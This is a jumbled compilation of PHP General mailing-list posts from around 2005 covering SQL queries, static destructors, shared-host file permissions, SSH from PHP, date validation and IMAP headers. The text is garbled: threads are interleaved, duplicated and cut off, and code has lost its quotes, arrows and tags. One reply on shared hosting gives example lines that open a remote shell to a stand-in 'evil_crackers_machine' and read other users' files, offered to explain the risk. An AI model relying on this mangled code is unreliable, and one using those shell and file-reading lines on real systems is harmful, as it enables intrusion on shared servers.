[PHP] mysql query update two table in one?
Can you update two tables in one mysql query i've got these two queries $db-query(update `dbn_members_counters` set views =(views +1) where id = '$this-id' ); $db-query(update `dbn_members` set lastaction = $conf-site_time, page = '$this-page' where id = '$this-id' ); and i was wonder if i could get them into one because there are right next two each other and i'm trying to lower my query count.

Well.. problem with that, is that if you got more than 1 un-escaped attribute
in a tag, the regex will fix only the first
un-escaped attribute.
for example, if $html is:
p class=MsoNormal id=parfont size=3 face=Comic Sans MSspan lang=NL
style='font-size:12.0pt;font-family:Comic Sans MS'nbsp;/span/font/p
In that case the id=par will remain as is...
Does anyone knows how to improve it?
First of all thx :).
Just an idea... (Becouse im not that good at it).
Is it possible to create a while loop for the whole part?
Simply sad...
while .*? do { parse the contents of that tag in someway and change it? }
Becouse i think it is imposible with RegEx alone to make it so that it can
handle every attribute within a tag.

[PHP] destructor not called for static members?
am i missing something or destructor isn`t called for objects that are
assigned to static fields in other objects? here is some example code:
?php
class c1 {
public function __destruct() {
echo '__destruct';
}
}
class c2 {
private static $_ref;
public function __construct() {
self::$_ref = new c1();
//$this-_ref = new c1();
}
}
$obj = new c2();
unset($obj);
?
i thought this should display __destruct in both cases from
c2::__construct, but only the one with non static access seems to call
c1::destruct. and if i remove unsetting $obj from the end of code this
one also doesn`t work. is it expected behaviour? or maybe when
__destructor is called after script finishes execution than output is no
longer possible? i tried also send some information to file and this
also didn`t work. help please :)

RE: [PHP] destructor not called for static members?
Hi
It is an expected behavior because when you define a static variable it is
shared by all objects of the same class. If When you unset one object and the
destruct of the static object will be called, all the other objects will lose
the static var as well.
Hope I've helped

That makes sense now.

that leaves him completely open to SQL injection.
but your right in that writing this:

... is just plain wasteful, pointless and looks ugly.
and given the fact that $r is already set (see above) there is
no need to set it again at all.
I see that now; thanks, I removed it
I think you almost there Jackson, keep hacking :-)
Thanks for the encouragement! But there's more...
$sort = ORDER BY cv.sort;

$where = '';
$fields =
'cv.cv_id,cv.category,dates,cv.job_title,cv.company,cv.job,cv.sort,

WHERE cvjobcats.cv_id=cv.cv_id AND cvjobcats.jobcat_id = $r AND
jobcat.jobcat_id=cvjobcats.jobcat_id;
Works whenever there is an ?r= specified. When there is no r
specified it chokes on
WHERE cvjobcats.cv_id=cv.cv_id AND cvjobcats.jobcat_id = $r AND
jobcat.jobcat_id=cvjobcats.jobcat_id;
because there's no value to $r.
it also opens me up to allowing anyone to state *anything* after
the ?.
So can I make an else statement which will say that if there's no
r= or a wrong r= or even no ? at all then it should print a menu
to $r's which actually exist in the database? How?
Thanks in advance!!!
You have 3 conditions in a single expression. Split that expression up
Jackson got that bit from me - I don't think he is fully aware of
what that
expression is doing!
the 'sum' of those conditions determines that either $r is 'good' or
'bad'
(whether $r is garbage or not set didn't seem like a difference worth
bothering
with)
No, I didn't and I actually still don't. I've implemented the change
below, breaking up the if(isset)$_GET['r']) bit (making it easier to
follow indeed, thank you!) but I am confused as to how to break that
three-condition statement split based on that change.
into multiple expressions, so you can check each (or a combination
of 2) individually.
this is a good idea to better understand what is going on!
so, instead of:
if (isset($_GET['r']) !empty($_GET['r']) ($r =
intval($_GET['r']))){
do:
if (isset($_GET['r'])) {
if(!empty($_GET['r']) ($r = intval($_GET['r']))){
// do whatever
} else {
// something boring
}
} else {
// not set
}
The code below is where I am now. I'm trying to document a bit better,
and clean it up. And I still don't have any clue as to how to make it
redirect if someone requests no ?r= or a bad one. Can someone help
please?
snip
if (isset($_GET['r'])) {
if(!empty($_GET['r']) ($r = intval($_GET['r']))){
$fields = '*';
$where = WHERE cvjobcats.cv_id=cv.cv_id AND cvjobcats.jobcat_id
= '$r' AND jobcat.jobcat_id=cvjobcats.jobcat_id;
$sort = ORDER BY cv.sort; // Assemble the category items in
r=x
} else {
// Is this where I'd say IF no $r is set then redirect?
}
}
all you need is 1 if (or if/else) statement, note that my example
is the logical reverse of the first if statement I posted (in reply
to your question):
if (!isset($_GET['r']) || empty($_GET['r']) || !($r = intval($_GET['r']))) {
// _GET['r'] is either not set, empty or not a positive int greater
than zero.
// the required var is 'bad' so lets redirect the user.
if (!headers_sent()) {
header('location: /yourRvarsucks.php');
} else {
// you'll have to figure out what to do yourself
// if you want to redirect and headers have already been sent!
}
exit;
}
// now comes the rest of the script (build SQL, run it, output the data)
$where = WHERE cvjobcats.cv_id=cv.cv_id
AND cvjobcats.jobcat_id = '$r'
AND jobcat.jobcat_id=cvjobcats.jobcat_id;
$sort = ORDER BY cv.sort;
// etc etc ...
//Make the sql based on the joining of the table and intersection table

[PHP] Need help with file permissions for PHP files
Hi! I am running a website on server where I am not administrator, and there are other users of the same machine. The machine is linux running Apache. The website is written in PHP. The problem is that, in order for PHP to be able to access *.php files, the files must in a directory with execute permission, and files themselves must have read permission. This makes my files open to reading by anyone, that is, anyone can look at my PHP source code, which I do not want.

This is the first and most benign problem, but all following problems are more serious and have the same basis. The website accesses mysql database, and PHP script caches some information into a cache.txt file. Since this PHP script must write to this file, the file has write permission. So, a potential hacher can write to cache file and make my website display errorneus information, or maybe even completely disable website. The third problem is most severe. The PHP scripts from website connect to my mysql database. For security reasons database accepts only connections through local socket file. Again, the permissions are such that, if PHP script can access it, so can potential hacker, and he can also read password from PHP source, so a hacker has no trouble bringing my whole database down (well, he can not do that because of database access privileges, but he could do lot of damage knowing all this).

Were it a normal member, it would be part of an object (and not just the class), and would be destroyed when the object was destroyed. However, you're using a *class* and not an *object*, so PHP will never call the destructor since it's not working with an object it can destroy. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Need help with file permissions for PHP files
[snip]
I think you have to face facts. There is no way you're going to have
your code secure against other users so long as it has to be readable
by apache.
One _PARTIAL_ solution: If like most linux distros, you have a group
called users, which contains every human user on the system, but
doesn't contain the apache user (nobody, apache, www, or something
else, depending on your sys.), you chmod your public_html directory to
701, and set group ownership to 'users'. This results in only you and
system users, being able to access the public_html directory. I
emphasise however that this is only a partial solution, since someone
can write a php script, along the lines of '?php
readfile('/home/otheruser/public_html/file_that_I_want_to_read.php');
?', which will give them access to anything they want to read, that
is readable by apache. I guess you could do something similar with
write permissions and cache.txt
To add insult to injury, if your host allows CGI/Perl, there is a
cgishell script available that presents a virtual shell over CGI, that
would run as the apache user. I've never tried it, but I can't really
see anything stopping something like ?php system('xterm --display
evil_crackers_machine'); ?, or perhaps even something even simpler,
to get an ordinary shell running as the apache user. I guess safe_mode
would help get around some of these problems, but as is written on the
PHP docs, it's the wrong way to solve such a problem(although I'm not
totally sure what the right way is), and it requires admin access.
I guess you could run your own web-server, on a high-numbered port,
and then you can do all the securing you like, but if you aren't the
admin, and the admin doesn't like doing 'extra work' then you're out
of luck. If you are friends with the admin, you could possibly ask him
to install suexec, and run your security-sensitive scripts through
CGI, under your own UID.

[PHP] Working with 3 arrays
I need to work with 3 different arrays where I get the value of the same key for
all 3 (probably a term for this one).
The three arrays are:
field[]
type[]
char[]
and each will be assigned via another form.
What will happen is at the end of the form I want to be able to pull
field[0] type[0] char[0]
process the data and then move to the next one in all three.
I am thinking
$fields = $_POST[field];
foreach ($fields as $field)
{
Do the stuff
}
But I am a bit perplexed on how to operate on all three.
Thanks,
Robert

That makes sense now.

that leaves him completely open to SQL injection.
but your right in that writing this:
$r = {$_GET['r']};

and given the fact that $r is already set (see above) there is
no need to set it again at all.

Thanks for the encouragement! But there's more...

Works whenever there is an ?r= specified. When there is no r
specified it chokes on
WHERE cvjobcats.cv_id=cv.cv_id AND cvjobcats.jobcat_id = $r AND
jobcat.jobcat_id=cvjobcats.jobcat_id;
because there's no value to $r.
it also opens me up to allowing anyone to state *anything* after
the ?.
So can I make an else statement which will say that if there's no
r= or a wrong r= or even no ? at all then it should print a menu
to $r's which actually exist in the database? How?
Thanks in advance!!!
You have 3 conditions in a single expression. Split that expression
up
Jackson got that bit from me - I don't think he is fully aware of
what that
expression is doing!
the 'sum' of those conditions determines that either $r is 'good' or
'bad'
(whether $r is garbage or not set didn't seem like a difference
worth bothering
with)
No, I didn't and I actually still don't. I've implemented the change
below, breaking up the if(isset)$_GET['r']) bit (making it easier to
follow indeed, thank you!) but I am confused as to how to break that
three-condition statement split based on that change.
into multiple expressions, so you can check each (or a combination
of 2) individually.
this is a good idea to better understand what is going on!
so, instead of:
if (isset($_GET['r']) !empty($_GET['r']) ($r =
intval($_GET['r']))){
do:
if (isset($_GET['r'])) {
if(!empty($_GET['r']) ($r = intval($_GET['r']))){
// do whatever
} else {
// something boring
}
} else {
// not set
}
The code below is where I am now. I'm trying to document a bit
better, and clean it up. And I still don't have any clue as to how
to make it redirect if someone requests no ?r= or a bad one. Can
someone help please?
snip
if (isset($_GET['r'])) {
if(!empty($_GET['r']) ($r = intval($_GET['r']))){
$fields = '*';
$where = WHERE cvjobcats.cv_id=cv.cv_id AND
cvjobcats.jobcat_id = '$r' AND
jobcat.jobcat_id=cvjobcats.jobcat_id;
$sort = ORDER BY cv.sort; // Assemble the category items
in r=x
} else {
// Is this where I'd say IF no $r is set then redirect?
}
}
all you need is 1 if (or if/else) statement, note that my example
is the logical reverse of the first if statement I posted (in reply
to your question):
if (!isset($_GET['r']) || empty($_GET['r']) || !($r =
intval($_GET['r']))) {
// _GET['r'] is either not set, empty or not a positive int greater
than zero.
// the required var is 'bad' so lets redirect the user.
if (!headers_sent()) {
header('location: /yourRvarsucks.php');
} else {
// you'll have to figure out what to do yourself
// if you want to redirect and headers have already been sent!
}
exit;
}
// now comes the rest of the script (build SQL, run it, output the
data)
$where = WHERE cvjobcats.cv_id=cv.cv_id
AND cvjobcats.jobcat_id = '$r'
AND jobcat.jobcat_id=cvjobcats.jobcat_id;
$sort = ORDER BY cv.sort;
// etc etc ...
Whhooo.
I created this:
$badr = )
1. I believe that this:
if (!isset($_GET['r']) || empty($_GET['r']) || !($r =
intval($_GET['r']))) {
// _GET['r'] is either not set, empty or not a positive int greater
than zero.
// the required var is 'bad' so lets redirect the user.

Re: [PHP] Working with 3 arrays
If you are certain that your keys are the same for each array,
you can reference them by using the key as in
foreach ($fields as $key=$value)
{
$a = $fields[$key];
$b = $types[$key];
etc...
}
Steve
I need to work with 3 different arrays where I get the value of the same
key for all 3 (probably a term for this one).
The three arrays are:
field[]
type[]
char[]
and each will be assigned via another form.
What will happen is at the end of the form I want to be able to pull
field[0] type[0] char[0]
process the data and then move to the next one in all three.
I am thinking
$fields = $_POST[field];
foreach ($fields as $field)
{
Do the stuff
}
But I am a bit perplexed on how to operate on all three.

[PHP] howto kill proc stream after X seconds
Hi,
I am struggling to find a way to kill a proc_open() stream if it remains
idle (hangs). Specifically, I am opening an SSH connection up and running a
remote command - all from a PHP script run from the shell. Under the rare
circumstance that my passwordless authentication fails (ie: it sits there
waiting for a password), I want to be able to 1) check to see if this is the
case 2) kill the stream 3) move on to other tasks. My solution (it
doesn't work) has been to set blocking to false, and check to see if it
continues looping in the fread() for 5 seconds. If the loop is 5 seconds,
I try to send a CTRL-C to the opened ssh command, break out of the loop and
move on. But, the CTRL-C doesn't kill the ssh command, and the script gets
stuck (ie: it doesn't do it's var_export) until I manually CTRL-C from the
shell. looks like this so far:
$spec = array(
0 = array(pipe, r),
1 = array(pipe, w),
2 = array(file, /tmp/error-output.txt, a)
);
$process = proc_open(''ssh somehost someremotecommand';', $spec, $pipes);
if (is_resource($process)) {
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[0], false);
$contents = '';
$time = time();
while (!feof($pipes[1])) {
$contents .= fread($pipes[1], 8192);
if (time() - $time 5) {
// send ctrl-c
fwrite($pipes[0], chr(4));
break;
}
}
fclose($pipes[0]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
var_export($contents);
die();
Any ideas on how I can do this?

[PHP] Re: Best way to validate a date
I'm looking to validate a date submitted through a form and I cannot decide which would be the best way to do it. The form of the date needs to be: -MM-DD. At the moment I'm torn between using a regex, something like: 20[\d][\d]-[0-1][\d]-[0-3][\d] or using the checkdate() function. Does anyone have any pros and/or cons to implement one method over the other or other methods you may have used? Thanks, David Better use checkdate, since it checks if the date really exists (not just well formatted). Mabye do something like this: list($check_year,$check_month,$check_day) = explode(-,$date); if (checkdate($check_month,$check_day,$check_year)) echo Date is valid; else echo Date is not valid; David, Why not do both types of validation so that you can provide the user with more informative error messages? First check to make sure the date matches your regex and give them an error like your date must me is -MM-DD format if it doesn't match. If it passes the regex check then you can use checkdate() to make sure that it is a valid date (ie. not February 31, 2004). If it doesn't pass that then give them an informative message that lets them know the format was correct but that they entered a date that cannot exist. After that you could even use something like PEAR::Date to do additional checks to make sure the date is in the past/future, etc and give messages based on those checks. Finer-grain tests provide the opportunity to give better messages to the user so that they can intelligibly fix the errors. It really drives me crazy when I get errors that tell me something I entered is invalid but don't specify *why* it is invalid. I know that the program knows *exactly* what the problem is, but I'm left to guess and play the well, I'll see if this passes game. Anyhow, just a suggestion to not pin yourself down to a single type of test - check it in multiple ways and provide feedback based on the various checks. - Jamie -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Re: PHP hangs when exec'ing SSH
I'm attempting to execute some things on remote servers using ssh, using a strictly limited account created for this express purpose. I set up passwordless key authentication from the user the web server runs as to the limited account on the remote server. I wrote some PHP code which calls: system(ssh [EMAIL PROTECTED] mycommand, $result) If I become the web-server user and run this via php from the command-line, everything works.

If I run this through apache, I can verify that the authentication happens successfully, and the commands are run, but output to the browser hangs. No errors, nothing. I have attempted using shell_exec, and popen as well- both exhibit the same problems. I can run commands other than ssh without difficulty. This is happening on suse linux 9.1, PHP 4.3.4. Any clues as to what may be happening? Ross, A couple of ideas: - Here's your code: system(ssh [EMAIL PROTECTED] mycommand, $result) You do realize that $result only contains the return code of the system call and not the actual output from the program called via system(), right? - Do you have any sort of output buffering in the script? - Have you tried using passthru() or backticks[1] instead of system()? Same results? - Is it possible the ssh command on the remote host is sending the output to STDERR instead of STDOUT?

get you a headache, almost for sure.

Re: [PHP] Re: PHP hangs when exec'ing SSH
Richard, I'm really not sure what you're asking here. I've created a limited access user account on a remote host so that I can kick off some things on the remote host by hitting a web page. Access to the web page is protected via SSL and user authentication. The things which are executed on the remote host are special purpose programs I am building, not general commands, and no place does the web page provide a user direct control over what programs are run. su was only used by me from the command-line to become the same user the web-server runs under in order that I would get the same public/private key authentication under SSH as I do when the script runs as a web page. It is not involved in what the php code runs. Take a look at the bug report to see a completely reduced test-case which reproduces the problem I'm seeing. --Ross Richard Lynch wrote: I actually do care about the return code from the program, as well as knowing that the program executed and completed successfully, so background execution is not a valid option. I tried using system(ssh [EMAIL PROTECTED] mycommand /dev/null 21) and got the same results. You are correct that I am using su to become the same user that the web server runs under, after temporarily changing the password file to give said user a valid shell. I can verify that the shell does not affect whether this problem occurs or not, and I have determined that the SSH process is not left lying around after it executes- The remote command is run, ssh executes, PHP simply never comes back. Bug link is here: http://bugs.php.net/bug.php?id=22946 At this point I'd love to hear from anyone running a different version of PHP, OS, or Apache who can actually execute this to find out if they experience results which are the same or different. I believe 'su' requires an actual TTY connection or it aborts... Could be wrong. man su Why are you doing ssh anyway? scp, maybe, but... Sure you're not taking web-based user into and then doing SSH to execute it on a different server?... [shudder]

[PHP] Imap and attachments
Hi, I started using the IMAP functions and ran into a problem with some headers for attachments. The first one is: Content-type: image/psd; x-unix-mode=0644; name=FinalVersion6.psd Content-transfer-encoding: base64 Content-disposition: inline; filename=FinalVersion6.psd Generated by Mac Mail. The filename wont show up in the result of for example imap_fetchstructure. The second is: Content-Type: text/plain Content-Disposition: attachment; filename=Video(019).3gp Content-Transfer-Encoding: base64 I suspect this one has something to do with the linebreak.

It's quite likely that your c1 *IS* getting destroyed, but long after any
output you can see, because STDOUT and STDERR are already shut down.
Change your echo statements to do an error_log() and you just might see
more things going on behind the scenes -- No promise though. PHP

Re: [PHP] PHP 5.0.3 and base64 encoded cookie value issue?
OK, after a little more closer examination, it does appear that the 'urlencode' is being used. I did the encode/decode thingy. BUT, the only character that is being messed up (at least the ones I had) appears to be '+'. This (and following) should make it pretty clear that PHP is doing urldecode: http://lxr.php.net/source/php-src/main/php_variables.c#217 After a lot of trial and error, I am fairly convinced that PHP parses the Cookie before 'urldecoding' it and for some reason the '+' character seems to be treated special. It could be that there may be some more 'filtering' going on before it reaches the 'urldecode' step. Richard, thanks for being with this thread so far. I will see if i can produce some output.

Re: [PHP] incrementing a number from a text file
I want to read a number from an external (txt) file and increment it.then save the number back on the text file. I know this is possible but want a simple amd economical way to do this. That's what you *THINK* you want to do :-) But what happens when *TWO* users hit that same script at exactly the same time. At best, you get: User1 User2 Reads 9 Reads 9 Writes 10 Writes 10 and when you should have 11, you've only got 10. [aside] My amp goes to 11! [/aside] But it's worse than that: It's entirely poassible that your script, instead of having two users write 10 one after the other, will have two users both trying to write 10 at EXACTLY the same time. The result is comparable to a head-on collision between two trains. Your file is TOAST. This is why so many early hit counter scripts back in the day were always getting messed up and reset to 0. What you really want, almost for sure, is an SQL database with sequences You have to forge those in MySQL by making a table with auto_increment. You *can* use http://php.net/flock, but even that is a Bad Idea, because flock under Un*x is self-imposed -- If some *other* program/script/user decides not change that file and doesn't use flock, well, they're not STOPPED from doing that. flock is therefore all too subject to human fallibility when you re-work, re-write, or add more code to your system. The SQL guys have worked out this problem, in all respects. This is one of those things that SEEMS so simple that turns out to be a hell of a lot more involved than you thought at first.

That is the only dependency.
c2::$_ref cannot be destroyed by PHP unless and until the entire script is
dying because it is STATIC and if you create a second c2, it shouldn't
change, right?
So you only ever have, at most, one c1 running around.
You have no c1's until you create a c2.
Then you have 1 c1 until the script ends.
At least, that's what I'd expect from a STATIC property based on other OO
languages... Never actually used PHP's OO stuff for reasons we needn't
repeat.

[PHP] PHP causes Apache segmentation fault?
I am running Fedora core3 with Apache 2.0.52 (from default RPMs), MySQL
4.1.10 (from RPMs from MySQL site), and PHP 5.0.3 built from source.
I'm going through the PHP manual and trying some of the mysqli examples.
The last one I tried didn't work. The problem appears to be this line:
$row = $result-fetch_array(MYSQLI_ASSOC);
Using MYSQLI_BOTH also fails, and MYSQLI_NUM works.
This is what is in my httpd error log:
[Thu Mar 10 17:07:06 2005] [error] jk2_init() Can't find child 29980 in

As I said, removing the second fetch_array() call allows the script to run.
Here is the entire script:
?php

printf(Host information: %s\n, $mysqli-host_info);

if (mysqli_connect_errno()) {
printf(Connect failed: %s\n, mysqli_connect_error());
exit();
}
$query = SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3;
$result = $mysqli-query($query);
/* numeric array */
$row = $result-fetch_array(MYSQLI_NUM);
printf (%s (%s)\n, $row[0], $row[1]);
/* associative array */
$row = $result-fetch_array(MYSQLI_ASSOC);

So you only ever have, at most, one c1 running around.
You have no c1's until you create a c2.
in the OPs code - true, but there could be static method
of the class to init the static class var.
Then you have 1 c1 until the script ends.
only if you don't unset it - which you can do - obviously the original
snippet didn't.
not-particularly-for-richards-benefit
as always you can only (optionally) set a var to a literal when defining
it as static. (i.e. in that statement), but afterwards you can set the
'static' to whatever.
/not-particularly-for-richards-benefit
At least, that's what I'd expect from a STATIC property based on other OO
languages... Never actually used PHP's OO stuff for reasons we needn't

Owkay i fixed it :D.
The regexp needed a /s (Pattern Modifier) also so that the .(DOT) also does
newlines :).
Now it is fixed...
Thank you very much Eli :)
/me is happy.

Thx... it works almost :P
I Changed the code a bit so you can see the results quicker :).
It doesn't change every attribute/value. I think this has to do something
with the opening and closing of a tag .

[PHP] Temporary storage of data
Hello, all - I am building a script that basically records some data on the local server for a period of about one hour. At that time, the data is sent to another server by means of HTTP POST. The problem I'm faced with is how to store the data locally. There are a few things that we're going to have to assume, due to options that are not under my control: Solution has to rely on internal PHP functions, i.e. nothing compiled into PHP (I was hoping a DMB-style database would be good, but cannot be used since it has to be compiled into PHP) Solution has to store data in a public place, i.e. /tmp/somedata/, as the person using the script may not have access to change permissions. I would like to store data in a public folder, but would also like for this data to be encoded somehow. serialize()'d data can still be visually decoded, else I'd use that, as well. Solution cannot assume that MySQL, PGSQL, or any other database application is available to use. I guess the problem is, how would one go about making multiple secured read/writes to a file, such as a mini-database, without relying on any options that are compiled into PHP? We're talking on a bare-bones vanilla PHP installation, with no DBM, MySQL, PGSQL, dbm, or otherwise real database support in it. Any input on this would be very greatly appreciated.

Thanks -dant Ah, we're also going to have to assume that system() and exec() functions and all those related will not be available, as well. I'm sure this is a problem that many have faced before, especially when making dummy and/or drop-in scripts where you would not want the Administrator to make any modifications to ease installation.

Hi,
I started using the IMAP functions and ran into a problem with some
headers for attachments.
The first one is:
Content-type: image/psd; x-unix-mode=0644; name=FinalVersion6.psd
Content-transfer-encoding: base64
Content-disposition: inline; filename=FinalVersion6.psd
Generated by Mac Mail. The filename wont show up in the result of for
example imap_fetchstructure.
The second is:
Content-Type: text/plain
Content-Disposition: attachment;
filename=Video(019).3gp
Content-Transfer-Encoding: base64
I suspect this one has something to do with the linebreak. It's generated
by a modern nokia (7650 I think)
I additionaly found a problem calling imap_fetchbody with a non-existent
msg number. This will result in a segfault.
grt,
Evert

Re: [PHP] warning question about mysql sessions concurrency
On Wed, Mar 09, 2005 at 02:52:52PM -0800, Richard Lynch wrote: Agreed, initially I thought of that but I also need to use transactions in my business logic and MySQL doesn't support nested transactions, so I'd have to open a separate connection to the DB to handle the session transaction while another connection handles the business transaction(s). I'm hoping to find a solution that uses locking in the application level instead of the database. Were I using a DB that supported nested transactions, it would be a different story. maybe it's time to switch databases. Since the data only changes when you write it, at the end of the script, you could maybe get away with the transaction only being in the session_save handler, and be sure to rollback or commit your business logic before that. That would for sure take a lot of discipline, and might even be downright impossible for what you need, but it's worth pondering. well the trouble is not in the writing at the end of the request, which would likely only be a single query and therefore not need a transaction in itself. the trouble is the lack of locking out other requests from reading the data when you're using it during the main body of the request. so... no luck finding a concurrency-aware database session handler? i'm going to try to roll my own, and i'll certainly share what i come up with on the list. thanks though, for the help up to this point! /jw -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Using javascript function from php
Hi,
I am just learning php, and am currently converting some jsp pages to php.
I used the follwing code in jsp to toggle between two images
SCRIPT type=text/javascript language=javascript
function toggle(imagename,src1,src2){
if(document.images document.images[imagename])
{
image1=new Image;
image1.src=src1;
if(document.images[imagename].src !=
image1.src){document.images[imagename].src = image1.src}
else{document.images[imagename].src=src2}
}
}
/SCRIPT
start code snippet.
out.println(A);
out.println(onclick=\toggle(' + child + image','images/ + type
+ .jpg','images/ + childimg ');return(false);\);
out.println(img src='images/ + type + .jpg' alt='' name= + child
+ image/a);
out.println(input type=hidden name= + child + value=' + childimg
+ ');
end code snippet...
I have tried many different ways to achieve this in php, but nothing
works. This is my latest attempt
start code snippet.
print(A href=\javascript:;\ onclick=);
echo \if(document.images document.images[ . $child . image])\n;
